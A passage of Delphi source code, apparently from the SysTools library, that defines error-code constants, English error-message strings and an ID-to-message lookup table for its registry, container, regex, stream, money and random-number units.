stscOriginalLoc = 237;
stscDateDeleted = 238;
stscFile = 239;
stscInvalidFolder = 240;
stscFolderReadOnly = 241;
{StSpawnApplication errors}
stscInsufficientData= 250;
{StMemoryMappedFile errors}
stscCreateFileFailed = 260;
stscFileMappingFailed= 261;
stscCreateViewFailed = 262;
stscBadOrigin = 263;
stscGetSizeFailed = 264;
{buffered stream errors}
stscNilStream = 270;
stscNoSeekForRead = 271;
stscNoSeekForWrite = 272;
stscCannotWrite = 273;
stscBadTerminator = 274;
stscBadLineLength = 275;
stscCannotSetSize = 276;
{RegEx errors}
stscUnknownError = 290;
stscExpandingClass = 291;
stscAlternationFollowsClosure = 292;
stscUnbalancedParens = 293;
stscFollowingClosure = 294;
stscPatternError = 295;
stscUnbalancedTag = 296;
stscNoPatterns = 297;
stscPatternTooLarge = 298;
stscStreamsNil = 299;
stscInTextStreamError = 300;
stscOutTextStreamError = 301;
stscClosureMaybeEmpty = 302;
stscInFileNotFound = 303;
stscREInFileError = 304;
stscOutFileDelete = 305;
stscOutFileCreate = 306;
{StNet errors 320-339}
stscNetNoManualCreate = 320;
stscNetUnknownError = 321;
stscNetGroupNotSpecified = 322;
stscNetDateSpecifiedOutOfRange = 323;
stscNetInvalidParameter = 324;
stscNetInvalidItemType = 325;
{StNetConnection errors 330-334}
{StNetPerformance errors 335-339}
{StNetMessage errors 340-344}
{StMoney errors 400-429}
// stscMoneyIdxOutOfRange = 400; //'Index out of range (%s)'
stscMoneyNilResult = 401; //'Nil result parameter'
stscMoneyNilParameter = 402; //'Nil parameter to operation'
stscMoneyCurrenciesNotMatch = 403; //'Currencies do not match'
stscMoneyNoExchangeRatesAvail = 410; //'No Exchange Rates Available'
stscMoneyInvalidExchangeParams = 411; //'Invalid exchange parameters'
stscMoneyInvalidTriangleExchange = 412; //'Invalid triangle exchange'
stscMoneyNoSuchExchange = 413; //'No exchange rate for %s->%s available'
stscMoneyMissingIntermediateRate = 414; //''Intermediate exchange rate for %s->%s missing'
stscMoneyInvalidExchRate = 415; //'Exchange rate is missing a property value'
stscMoneyTriExchUsesTriExch = 415; //'Triangular exchange rate is using triangular exchange rates'
stscDecMathRoundPlaces = 423; //'Decimal math: the number of decimal places to round to must be betwen 0 and 16'
stscDecMathAsIntOverflow = 424; //'Decimal math: current value overflows an integer'
stscDecMathConversion = 425; //'Decimal math: string value not a valid number';
stscDecMathDivByZero = 426; //'Decimal math: division by zero attempted'
stscDecMathNegExp = 427; //'Decimal math: cannot raise to a negative power';
stscDecMathMultOverflow = 428; //'Decimal math: result overflowed during multiplication'
stscDecMathDivOverflow = 429; //'Decimal math: result overflowed during division'
{ Text Data Set, Merge, and Export errors }
stscTxtDatNoSuchField = 430; //'No such field'
stscTxtDatUniqueNameRequired = 431; //'Field name must be unique'
stscTxtDatUnhandledVariant = 432; //'Unhandled Variant Type'
stscTxtDatInvalidSchema = 433; //'Invalid Schema'
stscTxtDatRecordSetOpen = 434; //'Cannot perform this operation on an open record set'
{PRNG errors 460-479}
stscPRNGDegFreedom = 460; //'StRandom: the number of degrees of freedom should be greater than zero'
stscPRNGBetaShape = 461; //'StRandom: the Beta distribution shape values should be greater than zero'
stscPRNGMean = 462; //'StRandom: the mean must be greater than zero'
stscPRNGGammaShape = 463; //'StRandom: the Gamma distribution shape must be greater than zero'
stscPRNGGammaScale = 464; //'StRandom: the Gamma distribution scale must be greater than zero'
stscPRNGStdDev = 465; //'StRandom: the standard deviation must be greater than zero'
stscPRNGWeibullShape = 466; //'StRandom: the Weibull distribution shape must be greater than zero'
stscPRNGWeibullScale = 467; //'StRandom: the Weibull distribution scale must be greater than zero'
stscPRNGLimit = 468; //'StRandom: the limit must be greater than zero'
stscPRNGUpperLimit = 469; //'StRandom: the upper limit must be greater than the lower limit'
stscPRNGErlangOrder = 470; //'StRandom: the Erlang distribution's order must be greater than zero'
resourcestring
stscSysStringListFull = 'String list is full';
stscSysBadStartDir = 'Invalid starting directory';
stscFalseStringS = 'FALSE';
stscTrueStringS = 'TRUE';
stscNoFileKeyS = 'No Ini File or Primary Key specified';
stscInvalidPKeyS = 'Invalid primary key specified';
stscNoWin32SS = 'RegIni Class not supported under Win32s';
stscCreateKeyFailS = 'Failed to create key\nError Code: %d';
stscOpenKeyFailS = 'Failed to open key\nError Code: %d';
stscIniWriteFailS = 'Failed to write value to INI file';
stscRegWriteFailS = 'Failed to write value to Registry\nError Code: %d';
stscNoKeyNameS = 'No key name specified';
stscQueryKeyFailS = 'Unable to query specified key\nError Code: %d';
stscEnumKeyFailS = 'Unable to enumerate key\nError Code: %d';
stscEnumValueFailS = 'Unable to enumerate value\nError Code: %d';
stscIniDeleteFailS = 'Unable to delete section from INI file';
stscKeyHasSubKeysS = 'Can not delete key which has subkeys (%d)';
stscDeleteKeyFailS = 'Unable to delete key\nError Code: %d';
stscIniDelValueFailS = 'Unable to delete value from INI file';
stscRegDelValueFailS = 'Unable to delete value from key\nError Code: %d';
stscOutputFileExistsS = 'Output file exists';
stscFileHasExtensionS = 'File name can not have an extension';
stscSaveKeyFailS = 'Unable to save key\nError Code: %d';
stscNo16bitSupportS = 'Function not supported in 16-bit applications';
stscCantFindInputFileS = 'Can not find input file';
stscLoadKeyFailS = 'Unable to load key\nError Code: %d';
stscUnloadKeyFailS = 'Unable to unload key\nErrorCode: %d';
stscNotWinNTPlatformS = 'Function not supported on this platform';
stscBadOptionsKeyComboS = 'Selection options incompatible\nwith specified primary key';
stscRestoreKeyFailS = 'Unable to restore key\nError Code: %d';
stscReplaceKeyFailS = 'Unable to replace key\nError Code: %d';
stscNoIniFileSupportS = 'Function not supported on INI files';
stscRemoteKeyIsOpenS = 'Remote key already open';
stscConnectRemoteKeyFailS = 'Unable to connect to remote registry key\nError Code: %d';
stscCloseRemoteKeyFailS = 'Unable to close remote registry key';
stscFlushKeyFailS = 'Unable to flush specified key';
stscBufferDataSizesDifS = 'Buffer size differs from data size\nBuffer: %d Data: %d';
stscKeyIsEmptyNotExistsS = 'Specified Key is empty or does not exist';
stscGetSecurityFailS = 'Failed to Get Security Information\nError Code: %d';
stscSetSecurityFailS = 'Failed to Set Security Information\nError Code: %d';
stscByteArrayTooLargeS = 'Size of byte array exceeds limit';
stscQueryValueFailS = 'Unable to query value in key';
stscNoValueNameSpecifiedS = 'No Value Name specified';
stscNoCompareS = 'Compare property must be set';
stscBadTypeS = 'An incompatible class is passed to a method';
stscBadSizeS = 'Bad size parameter';
stscDupNodeS = 'Attempt to add duplicate node to TStTree';
stscBadIndexS = 'Index is out of range';
stscBadWinModeS = 'Requires enhanced mode operation for Windows 3.1x';
stscUnknownClassS = 'Container class name %s read from stream is unregistered';
stscUnknownNodeClassS = 'Node class name %s read from stream is unregistered';
stscNoStoreDataS = 'Container''s StoreData property is unassigned';
stscNoLoadDataS = 'Container''s LoadData property is unassigned';
stscWrongClassS = 'Class name on stream differs from object''s class';
stscWrongNodeClassS = 'Node class name on stream differs from object''s node class';
stscBadCompareS = 'Unable to assign this compare function now';
stscTooManyColsS = 'Cannot assign a matrix with more than 1 column to an array';
stscBadColCountS = 'Can only assign a matrix to a virtual matrix if column counts are equal';
stscBadElSizeS = 'Can only assign a matrix to a virtual matrix if element sizes are equal';
stscBadDupsS = 'Can only set Duplicates to False in an empty sorted collection';
stscTooManyFilesS = 'Too many merge files in TStSorter';
stscFileCreateS = 'Error creating file';
stscFileOpenS = 'Error opening file';
stscFileWriteS = 'Error writing file (bytes written <> bytes requested)';
stscFileReadS = 'Error reading file (bytes read <> bytes requested)';
stscBadStateS = 'TStSorter in wrong state';
stscBcdBadFormatS = 'Bad BCD format';
stscBcdOverflowS = 'BCD larger than 10**64';
stscBcdDivByZeroS = 'BCD divide by zero';
stscBcdBadInputS = 'BCD negative input to sqrt, ln, or power';
stscBcdBufOverflowS = 'Buffer overflow in FormatBcd';
stscNoVerInfoS = 'File does not contain version info';
stscVerInfoFailS = 'Unable to read version info';
(*
stscShellVersionErrorS = 'Operation not supported in this version of the shell';
stscShellFileOpSrcErrorS = 'No source files specified';
stscShellFileOpDstErrorS = 'No destination files specified';
stscShellFileOpMapErrorS = 'File mapping incomplete';
stscShellFormatErrorS = 'Format failed';
stscShellFormatCancelS = 'Format cancelled';
stscShellFormatNoFormatS = 'Drive cannot be formatted';
stscShellFormatBadDriveS = 'Invalid drive. Drive is not removable';
stscTrayIconInvalidOSS = 'Operating system does not support tray icons';
stscTrayIconCantAddS = 'Error adding tray icon';
stscTrayIconCantDeleteS = 'Error removing tray icon';
stscTrayIconErrorS = 'Tray icon error';
stscBadDropTargetS = 'Drop target must be a TWinControl descendant';
stscCOMInitFailedS = 'Cannot initialize COM';
stscNoPathSpecifiedS = 'Destination directory not specified';
stscIShellLinkErrorS = 'Error creating IShellLink';
stscNotShortcutS = 'File is not a shortcut';
stscTrayIconCloseS = '&Close';
stscTrayIconRestoreS = '&Restore';
stscInvalidTargetFileS = 'Cannot create shortcut. Target file does not exist';
stscShellFileOpDeleteS = 'Cannot use file mappings in a delete operation';
stscShellFileNotFoundS = 'Source file error, file not found';
stscTrayIconDuplicateS = 'Cannot have more than one StTrayIcon per application';
stscBadVerInfoKeyS = 'The specified key cannnot be found in version info';
stscImageListInvalidS = 'ImageList is not assigned';
*)
stscBadVerInfoKeyS = 'The specified key cannnot be found in version info';
stscInvalidUPCACodeLenS = 'Invalid code length (must be 11 or 12)';
stscInvalidCharacterS = 'Invalid character';
stscInvalidCheckCharacterS = 'Invalid check character';
stscInvalidUPCECodeLenS = 'Invalid code length (must be 6)';
stscInvalidEAN8CodeLenS = 'Invalid code length (must be 7 or 8)';
stscInvalidEAN13CodeLenS = 'Invalid code length (must be 12 or 13)';
stscInvalidSupCodeLenS = 'Invalid supplemental code length (must be 2 or 5)';
stscFinBadArgS = 'Invalid argument to financial function';
stscFinNoConvergeS = 'Function does not converge';
stscExprEmptyS = 'Empty expression';
stscExprBadNumS = 'Error in floating point number';
stscExprBadCharS = 'Unknown character';
stscExprOpndExpS = 'Expected function, number, sign, or (';
stscExprNumericS = 'Numeric error';
stscExprBadExpS = 'Invalid expression';
stscExprOpndOvflS = 'Operand stack overflow';
stscExprUnkFuncS = 'Unknown function identifier';
stscExprLParExpS = 'Left parenthesis expected';
stscExprRParExpS = 'Right parenthesis expected';
stscExprCommExpS = 'List separator expected';
stscExprDupIdentS = 'Duplicate identifier';
stscBadEncodeFmtS = 'Encoding Format Not Supported';
stscBadAttachmentS = 'Attachment Doesn''t Exist';
stscDupeStringS = 'Duplicate string';
stscInStreamS = 'Error in input stream';
stscOutOfBoundsS = 'Index out of string bounds';
stscInvalidLengthS = 'POSTNET code must be 5, 9 or 11 digits';
stscNoInputFileS = 'Input file not specified';
stscNoOutputFileS = 'Output file not specified';
stscInFileErrorS = 'Error opening input file';
stscOutFileErrorS = 'Error creating output file';
stscNameS = 'Name';
stscSizeS = 'Size';
stscTypeS = 'Type';
stscModifiedS = 'Modified';
stscAttributesS = 'Attributes';
stscFileFolderS = 'File Folder';
stscSystemFolderS = 'System Folder';
stscOriginalLocS = 'Original Location';
stscDateDeletedS = 'Date Deleted';
stscFileS = 'File';
stscInvalidFolderS = 'Invalid folder';
stscFolderReadOnlyS = 'Cannot create folder: Parent folder is read-only';
stscInvalidSortDirS = 'Invalid sort direction';
stscInsufficientDataS = 'FileName cannot be empty when RunParameters is specified';
stscCreateFileFailedS = 'CreateFile failed';
stscFileMappingFailedS = 'CreateFileMapping failed';
stscCreateViewFailedS = 'MapViewOfFile failed';
stscBadOriginS = 'Bad origin parameter for call to Seek';
stscGetSizeFailedS = 'Error reading size of existing file';
stscNilStreamS = 'Buffered/text stream: Attempted to read, write, or seek and underlying stream is nil';
stscNoSeekForReadS = 'Buffered/text stream: Could not seek to the correct position in the underlying stream (for read request)';
stscNoSeekForWriteS = 'Buffered/text stream: Could not seek to the correct position in the underlying stream (for write request)';
stscCannotWriteS = 'Buffered/text stream: Could not write the entire buffer to the underlying stream';
stscBadTerminatorS = 'Text stream: Case statement was used with a bad value of LineTerminator';
stscBadLineLengthS = 'Text stream: Length of a fixed line must be between 1 and 4096 bytes';
stscCannotSetSizeS = 'Buffered/text stream: Cannot set the size of the underlying stream (needs OnSetStreamSize event)';
stscUnknownErrorS = 'Unknown error creating a pattern token';
stscExpandingClassS = 'Problem in expanding character class';
stscAlternationFollowsClosureS = 'Alternation cannot immediately follow a closure marker';
stscUnbalancedParensS = 'Unbalanced nesting parentheses';
stscFollowingClosureS = 'Closure cannot immediately follow BegOfLine, EndOfLine or another closure';
stscPatternErrorS = 'Error detected near end of pattern';
stscUnbalancedTagS = 'Unbalanced tag marker';
stscNoPatternsS = 'No Match, Replace, or SelAvoid Patterns defined';
stscPatternTooLargeS = 'Pattern exceeds MaxPatLen';
stscStreamsNilS = 'Input and/or output stream is not assigned';
stscInTextStreamErrorS = 'Error creating internal input text stream';
stscOutTextStreamErrorS = 'Error creating internal output text stream';
stscClosureMaybeEmptyS = 'A * or + operand could be empty';
stscOutFileDeleteS = 'Error deleting old previous file';
stscInFileNotFoundS = 'Input file not found';
stscREInFileErrorS = 'Error creating internal text stream';
stscOutFileCreateS = 'Error creating output file';
stscNetNoManualCreateS = 'Can''t manually create an object of this type';
stscNetUnknownErrorS = 'Unknown network error';
stscNetGroupNotSpecifiedS = 'Local or global group not specified';
stscNetDateSpecifiedOutOfRangeS = 'Date specified out or range';
stscNetInvalidParameterS = 'Invalid parameter';
stscNetInvalidItemTypeS = 'Invalid item type for this method';
stscStatBadCountS = 'Unequal or bad counts of array elements';
stscStatBadParamS = 'Invalid parameter';
stscStatBadDataS = 'Invalid data point in array';
stscStatNoConvergeS = 'no convergence in numerical routine';
stscWordDelimitersS = '219';
stscInvalidSLEntryS = '220';
stscBadStreamS = '221';
stscMoneyIdxOutOfRangeS = 'Index out of range (%s)';
stscMoneyNilResultS = 'Nil result parameter';
stscMoneyNilParameterS = 'Nil parameter to operation';
stscMoneyCurrenciesNotMatchS = 'Currencies do not match';
stscMoneyNoExchangeRatesAvailS = 'No Exchange Rates Available';
stscMoneyInvalidExchangeParamsS = 'Invalid exchange parameters';
stscMoneyInvalidTriangleExchangeS = 'Invalid triangle exchange';
stscMoneyNoSuchExchangeS = 'No exchange rate for %s->%s available';
stscMoneyMissingIntermediateRateS = 'Intermediate exchange rate for %s->%s missing';
stscMoneyInvalidExchRateS = 'Exchange rate is missing a property value';
stscMoneyTriExchUsesTriExchS = 'Triangular exchange rate is using triangular exchange rates';
stscDecMathRoundPlacesS = 'Decimal math: the number of decimal places to round to must be betwen 0 and 16';
stscDecMathAsIntOverflowS = 'Decimal math: current value overflows an integer';
stscDecMathConversionS = 'Decimal math: string value not a valid number';
stscDecMathDivByZeroS = 'Decimal math: division by zero attempted';
stscDecMathNegExpS = 'Decimal math: cannot raise to a negative power';
stscDecMathMultOverflowS = 'Decimal math: result overflowed during multiplication';
stscDecMathDivOverflowS = 'Decimal math: result overflowed during division';
stscTxtDatNoSuchFieldS = 'No such field';
stscTxtDatUniqueNameRequiredS = 'Field name must be unique';
stscTxtDatUnhandledVariantS = 'Unhandled Variant Type';
stscTxtDatInvalidSchemaS = 'Invalid Schema';
stscTxtDatRecordSetOpenS = 'Cannot perform this operation on an open record set';
stscPRNGDegFreedomS = 'StRandom: the number of degrees of freedom should be greater than zero';
stscPRNGBetaShapeS = 'StRandom: the Beta distribution shape values should be greater than zero';
stscPRNGMeanS = 'StRandom: the mean must be greater than zero';
stscPRNGGammaShapeS = 'StRandom: the Gamma distribution shape must be greater than zero';
stscPRNGGammaScaleS = 'StRandom: the Gamma distribution scale must be greater than zero';
stscPRNGStdDevS = 'StRandom: the standard deviation must be greater than zero';
stscPRNGWeibullShapeS = 'StRandom: the Weibull distribution shape must be greater than zero';
stscPRNGWeibullScaleS = 'StRandom: the Weibull distribution scale must be greater than zero';
stscPRNGLimitS = 'StRandom: the limit must be greater than zero';
stscPRNGUpperLimitS = 'StRandom: the upper limit must be greater than the lower limit';
stscPRNGErlangOrderS = 'StRandom: the Erlang distribution''s order must be greater than zero';
type
StStrRec = record
ID: Integer;
Str: string;
end;
const
SysToolsStrArray : array [0..174] of StStrRec = (
{string table constants for STREGINI}
(ID: stscFalseString; Str: stscFalseStringS),
(ID: stscTrueString; Str: stscTrueStringS),
(ID: stscNoFileKey; Str: stscNoFileKeyS),
(ID: stscInvalidPKey; Str: stscInvalidPKeyS),
(ID: stscNoWin32S; Str: stscNoWin32SS),
(ID: stscCreateKeyFail; Str: stscCreateKeyFailS),
(ID: stscOpenKeyFail; Str: stscOpenKeyFailS),
(ID: stscIniWriteFail; Str: stscIniWriteFailS),
(ID: stscRegWriteFail; Str: stscRegWriteFailS),
(ID: stscNoKeyName; Str: stscNoKeyNameS),
(ID: stscQueryKeyFail; Str: stscQueryKeyFailS),
(ID: stscEnumKeyFail; Str: stscEnumKeyFailS),
(ID: stscEnumValueFail; Str: stscEnumValueFailS),
(ID: stscIniDeleteFail; Str: stscIniDeleteFailS),
(ID: stscKeyHasSubKeys; Str: stscKeyHasSubKeysS),
(ID: stscDeleteKeyFail; Str: stscDeleteKeyFailS),
(ID: stscIniDelValueFail; Str: stscIniDelValueFailS),
(ID: stscRegDelValueFail; Str: stscRegDelValueFailS),
(ID: stscOutputFileExists; Str: stscOutputFileExistsS),
(ID: stscFileHasExtension; Str: stscFileHasExtensionS),
(ID: stscSaveKeyFail; Str: stscSaveKeyFailS),
(ID: stscNo16bitSupport; Str: stscNo16bitSupportS),
(ID: stscCantFindInputFile; Str: stscCantFindInputFileS),
(ID: stscLoadKeyFail; Str: stscLoadKeyFailS),
(ID: stscUnloadKeyFail; Str: stscUnloadKeyFailS),
(ID: stscNotWinNTPlatform; Str: stscNotWinNTPlatformS),
(ID: stscBadOptionsKeyCombo; Str: stscBadOptionsKeyComboS),
(ID: stscRestoreKeyFail; Str: stscRestoreKeyFailS),
(ID: stscReplaceKeyFail; Str: stscReplaceKeyFailS),
(ID: stscNoIniFileSupport; Str: stscNoIniFileSupportS),
(ID: stscRemoteKeyIsOpen; Str: stscRemoteKeyIsOpenS),
(ID: stscConnectRemoteKeyFail; Str: stscConnectRemoteKeyFailS),
(ID: stscCloseRemoteKeyFail; Str: stscCloseRemoteKeyFailS),
(ID: stscFlushKeyFail; Str: stscFlushKeyFailS),
(ID: stscBufferDataSizesDif; Str: stscBufferDataSizesDifS),
(ID: stscKeyIsEmptyNotExists; Str: stscKeyIsEmptyNotExistsS),
(ID: stscGetSecurityFail; Str: stscGetSecurityFailS),
(ID: stscSetSecurityFail; Str: stscSetSecurityFailS),
(ID: stscByteArrayTooLarge; Str: stscByteArrayTooLargeS),
(ID: stscQueryValueFail; Str: stscQueryValueFailS),
(ID: stscNoValueNameSpecified; Str: stscNoValueNameSpecifiedS),
{string table constants for container classes}
(ID: stscNoCompare; Str: stscNoCompareS), {Compare property must be set}
(ID: stscBadType; Str: stscBadTypeS), {an incompatible class is passed to a method}
(ID: stscBadSize; Str: stscBadSizeS), {bad size for TStDictionary, TStBits, TStCollection}
(ID: stscDupNode; Str: stscDupNodeS), {attempt to add duplicate node to TStTree}
(ID: stscBadIndex; Str: stscBadIndexS), {bad index passed to TStBits or large array}
(ID: stscBadWinMode; Str: stscBadWinModeS), {requires enhanced mode operation}
(ID: stscUnknownClass; Str: stscUnknownClassS), {container class name not registered}
(ID: stscUnknownNodeClass; Str: stscUnknownNodeClassS), {container node class name not registered}
(ID: stscNoStoreData; Str: stscNoStoreDataS), {container has no store data routine}
(ID: stscNoLoadData; Str: stscNoLoadDataS), {container has no load data routine}
(ID: stscWrongClass; Str: stscWrongClassS), {container class and streamed class not equal}
(ID: stscWrongNodeClass; Str: stscWrongNodeClassS), {container node class and streamed class not equal}
(ID: stscBadCompare; Str: stscBadCompareS), {invalid compare function or unable to assign now}
(ID: stscTooManyCols; Str: stscTooManyColsS), {assign a matrix with >1 col to array}
(ID: stscBadColCount; Str: stscBadColCountS), {assign a matrix with wrong col count to virtual matrix}
(ID: stscBadElSize; Str: stscBadElSizeS), {assign a matrix with wrong elem size to virtual matrix}
(ID: stscBadDups; Str: stscBadDupsS), {setting Dups to False in a non-empty sorted collection}
{string table constants for sorting unit}
(ID: stscTooManyFiles; Str: stscTooManyFilesS), {too many merge files in TStSorter}
(ID: stscFileCreate; Str: stscFileCreateS), {error creating file in TStSorter}
(ID: stscFileOpen; Str: stscFileOpenS), {error opening file in TStSorter}
(ID: stscFileWrite; Str: stscFileWriteS), {error writing file in TStSorter}
(ID: stscFileRead; Str: stscFileReadS), {error reading file in TStSorter}
(ID: stscBadState; Str: stscBadStateS), {TStSorter in wrong state}
{string table constants for Bcd unit}
(ID: stscBcdBadFormat; Str: stscBcdBadFormatS), {bad BCD format}
(ID: stscBcdOverflow; Str: stscBcdOverflowS), {BCD larger than 10**64}
(ID: stscBcdDivByZero; Str: stscBcdDivByZeroS), {BCD divide by zero}
(ID: stscBcdBadInput; Str: stscBcdBadInputS), {BCD negative input to sqrt, ln, or power}
(ID: stscBcdBufOverflow; Str: stscBcdBufOverflowS), {buffer overflow in FormatBcd}
(ID: stscNoVerInfo; Str: stscNoVerInfoS), {no version info in file}
(ID: stscVerInfoFail; Str: stscVerInfoFailS), {error reading version info}
(*
{shell string constants}
(ID: stscShellVersionError; Str: stscShellVersionErrorS), {not available in this version of Shell32.dll}
(ID: stscShellFileOpSrcError; Str: stscShellFileOpSrcErrorS), {no source files specified}
(ID: stscShellFileOpDstError; Str: stscShellFileOpDstErrorS), {no destination files specified}
(ID: stscShellFileOpMapError; Str: stscShellFileOpMapErrorS), {mapping incomplete}
(ID: stscShellFormatError; Str: stscShellFormatErrorS), {format error}
(ID: stscShellFormatCancel; Str: stscShellFormatCancelS), {format cancelled}
(ID: stscShellFormatNoFormat; Str: stscShellFormatNoFormatS), {drive cannot be formatted}
(ID: stscShellFormatBadDrive; Str: stscShellFormatBadDriveS), {not removable drive}
(ID: stscTrayIconInvalidOS; Str: stscTrayIconInvalidOSS), {bad OS (NT 3.51)}
(ID: stscTrayIconCantAdd; Str: stscTrayIconCantAddS), {can't add icon to the tray}
(ID: stscTrayIconCantDelete; Str: stscTrayIconCantDeleteS), {can't delete icon from the tray}
(ID: stscTrayIconError; Str: stscTrayIconErrorS), {general tray icon error}
(ID: stscBadDropTarget; Str: stscBadDropTargetS), {drop target is not TWinControl}
(ID: stscCOMInitFailed; Str: stscCOMInitFailedS), {COInitialize failed}
(ID: stscNoPathSpecified; Str: stscNoPathSpecifiedS), {No destination path for shortcut}
(ID: stscIShellLinkError; Str: stscIShellLinkErrorS), {Error creating IShellLink}
(ID: stscNotShortcut; Str: stscNotShortcutS), {File is not a shortcut}
(ID: stscTrayIconClose; Str: stscTrayIconCloseS), {Close}
(ID: stscTrayIconRestore; Str: stscTrayIconRestoreS), {Restore}
(ID: stscInvalidTargetFile; Str: stscInvalidTargetFileS), {Shortcut target file not found}
(ID: stscShellFileOpDelete; Str: stscShellFileOpDeleteS), {Can't use file mappings with delete op}
(ID: stscShellFileNotFound; Str: stscShellFileNotFoundS), {One or more source files is missing}
(ID: stscTrayIconDuplicate; Str: stscTrayIconDuplicateS), {Cant' have more than one tray icon}
(ID: stscBadVerInfoKey; Str: stscBadVerInfoKeyS), {User-defined key not found in ver info}
(ID: stscImageListInvalid; Str: stscImageListInvalidS), {No image list assigned.}
*)
(ID: stscBadVerInfoKey; Str: stscBadVerInfoKeyS), {User-defined key not found in ver info}
{barcode errors}
(ID: stscInvalidUPCACodeLen; Str: stscInvalidUPCACodeLenS),
(ID: stscInvalidCharacter; Str: stscInvalidCharacterS),
(ID: stscInvalidCheckCharacter; Str: stscInvalidCheckCharacterS),
(ID: stscInvalidUPCECodeLen; Str: stscInvalidUPCECodeLenS),
(ID: stscInvalidEAN8CodeLen; Str: stscInvalidEAN8CodeLenS),
(ID: stscInvalidEAN13CodeLen; Str: stscInvalidEAN13CodeLenS),
(ID: stscInvalidSupCodeLen; Str: stscInvalidSupCodeLenS),
{stexpr errors}
(ID: stscExprEmpty; Str: stscExprEmptyS), {empty expression}
(ID: stscExprBadNum; Str: stscExprBadNumS), {error in floating point number}
(ID: stscExprBadChar; Str: stscExprBadCharS), {unknown character}
(ID: stscExprOpndExp; Str: stscExprOpndExpS), {expected function, number, sign, or (}
(ID: stscExprNumeric; Str: stscExprNumericS), {numeric error}
(ID: stscExprBadExp; Str: stscExprBadExpS), {invalid expression}
(ID: stscExprOpndOvfl; Str: stscExprOpndOvflS), {operand stack overflow}
(ID: stscExprUnkFunc; Str: stscExprUnkFuncS), {unknown function identifier}
(ID: stscExprLParExp; Str: stscExprLParExpS), {left parenthesis expected}
(ID: stscExprRParExp; Str: stscExprRParExpS), {right parenthesis expected}
(ID: stscExprCommExp; Str: stscExprCommExpS), {list separator (comma) expected}
(ID: stscExprDupIdent; Str: stscExprDupIdentS), {duplicate identifier}
{ststat errors}
(ID: stscStatBadCount; Str: stscStatBadCountS), {unequal or bad counts of array elements}
(ID: stscStatBadParam; Str: stscStatBadParamS), {invalid parameter}
(ID: stscStatBadData; Str: stscStatBadDataS), {invalid data point in array}
(ID: stscStatNoConverge; Str: stscStatNoConvergeS), {no convergence in numerical routine}
{stfin errors}
(ID: stscFinBadArg; Str: stscFinBadArgS),
(ID: stscFinNoConverge; Str: stscFinNoConvergeS),
{stmime errors}
(ID: stscBadEncodeFmt; Str: stscBadEncodeFmtS),
(ID: stscBadAttachment; Str: stscBadAttachmentS),
(ID: stscDupeString; Str: stscDupeStringS),
(ID: stscInStream; Str: stscInStreamS),
{ststring errors}
(ID: stscOutOfBounds; Str: stscOutOfBoundsS), {Index out of string bounds}
{stBarPN errors}
(ID: stscInvalidLength; Str: stscInvalidLengthS),
{StHTML errors}
(ID: stscNoInputFile; Str: stscNoInputFileS),
(ID: stscNoOutputFile; Str: stscNoOutputFileS),
(ID: stscInFileError; Str: stscInFileErrorS),
(ID: stscOutFileError; Str: stscOutFileErrorS),
(ID: stscWordDelimiters; Str: stscWordDelimitersS),
(ID: stscInvalidSLEntry; Str: stscInvalidSLEntryS),
(ID: stscBadStream; Str: stscBadStreamS),
{StShlCtl constansts}
(ID: stscName; Str: stscNameS),
(ID: stscSize; Str: stscSizeS),
(ID: stscType; Str: stscTypeS),
(ID: stscModified; Str: stscModifiedS),
(ID: stscAttributes; Str: stscAttributesS),
(ID: stscFileFolder; Str: stscFileFolderS),
(ID: stscSystemFolder; Str: stscSystemFolderS),
(ID: stscOriginalLoc; Str: stscOriginalLocS),
(ID: stscDateDeleted; Str: stscDateDeletedS),
(ID: stscFile; Str: stscFileS),
(ID: stscInvalidFolder; Str: stscInvalidFolderS),
(ID: stscFolderReadOnly; Str: stscFolderReadOnlyS),
{StSpawnApplication errors}
(ID: stscInsufficientData; Str: stscInsufficientDataS),
{StMemoryMappedFile errors}
(ID: stscCreateFileFailed; Str: stscCreateFileFailedS),
(ID: stscFileMappingFailed; Str: stscFileMappingFailedS),
(ID: stscCreateViewFailed; Str: stscCreateViewFailedS),
(ID: stscBadOrigin; Str: stscBadOriginS),
(ID: stscGetSizeFailed; Str: stscGetSizeFailedS),
{buffered stream errors}
(ID: stscNilStream; Str: stscNilStreamS),
(ID: stscNoSeekForRead; Str: stscNoSeekForReadS),
(ID: stscNoSeekForWrite; Str: stscNoSeekForWriteS),
(ID: stscCannotWrite; Str: stscCannotWriteS),
(ID: stscBadTerminator; Str: stscBadTerminatorS),
(ID: stscBadLineLength; Str: stscBadLineLengthS),
(ID: stscCannotSetSize; Str: stscCannotSetSizeS),
{RegEx errors}
(ID: stscUnknownError; Str: stscUnknownErrorS),
(ID: stscExpandingClass; Str: stscExpandingClassS),
(ID: stscAlternationFollowsClosure; Str: stscAlternationFollowsClosureS),
(ID: stscUnbalancedParens; Str: stscUnbalancedParensS),
(ID: stscFollowingClosure; Str: stscFollowingClosureS),
(ID: stscPatternError; Str: stscPatternErrorS),
(ID: stscUnbalancedTag; Str: stscUnbalancedTagS),
(ID: stscNoPatterns; Str: stscNoPatternsS),
(ID: stscPatternTooLarge; Str: stscPatternTooLargeS),
(ID: stscStreamsNil; Str: stscStreamsNilS),
(ID: stscInTextStreamError; Str: stscInTextStreamErrorS),
(ID: stscOutTextStreamError; Str: stscOutTextStreamErrorS),
(ID: stscClosureMaybeEmpty; Str: stscClosureMaybeEmptyS),
(ID: stscInFileNotFound; Str: stscInFileNotFoundS),
(ID: stscREInFileError; Str: stscREInFileErrorS),
(ID: stscOutFileDelete; Str: stscOutFileDeleteS),
(ID: stscOutFileCreate; Str: stscOutFileCreateS),
{StNet errors 320-339}
(ID: stscNetNoManualCreate; Str: stscNetNoManualCreateS),
(ID: stscNetUnknownError; Str: stscNetUnknownErrorS),
(ID: stscNetGroupNotSpecified; Str: stscNetGroupNotSpecifiedS),
(ID: stscNetDateSpecifiedOutOfRange; Str: stscNetDateSpecifiedOutOfRangeS),
(ID: stscNetInvalidParameter; Str: stscNetInvalidParameterS),
(ID: stscNetInvalidItemType; Str: stscNetInvalidItemTypeS),
{ StMoney errors }
// (ID: stscMoneyIdxOutOfRange; Str: stscMoneyIdxOutOfRangeS),
(ID: stscMoneyNilResult; Str: stscMoneyNilResultS),
(ID: stscMoneyNilParameter; Str: stscMoneyNilParameterS),
(ID: stscMoneyCurrenciesNotMatch; Str: stscMoneyCurrenciesNotMatchS),
(ID: stscMoneyNoExchangeRatesAvail; Str: stscMoneyNoExchangeRatesAvailS),
(ID: stscMoneyInvalidExchangeParams; Str: stscMoneyInvalidExchangeParamsS),
(ID: stscMoneyInvalidTriangleExchange; Str: stscMoneyInvalidTriangleExchangeS),
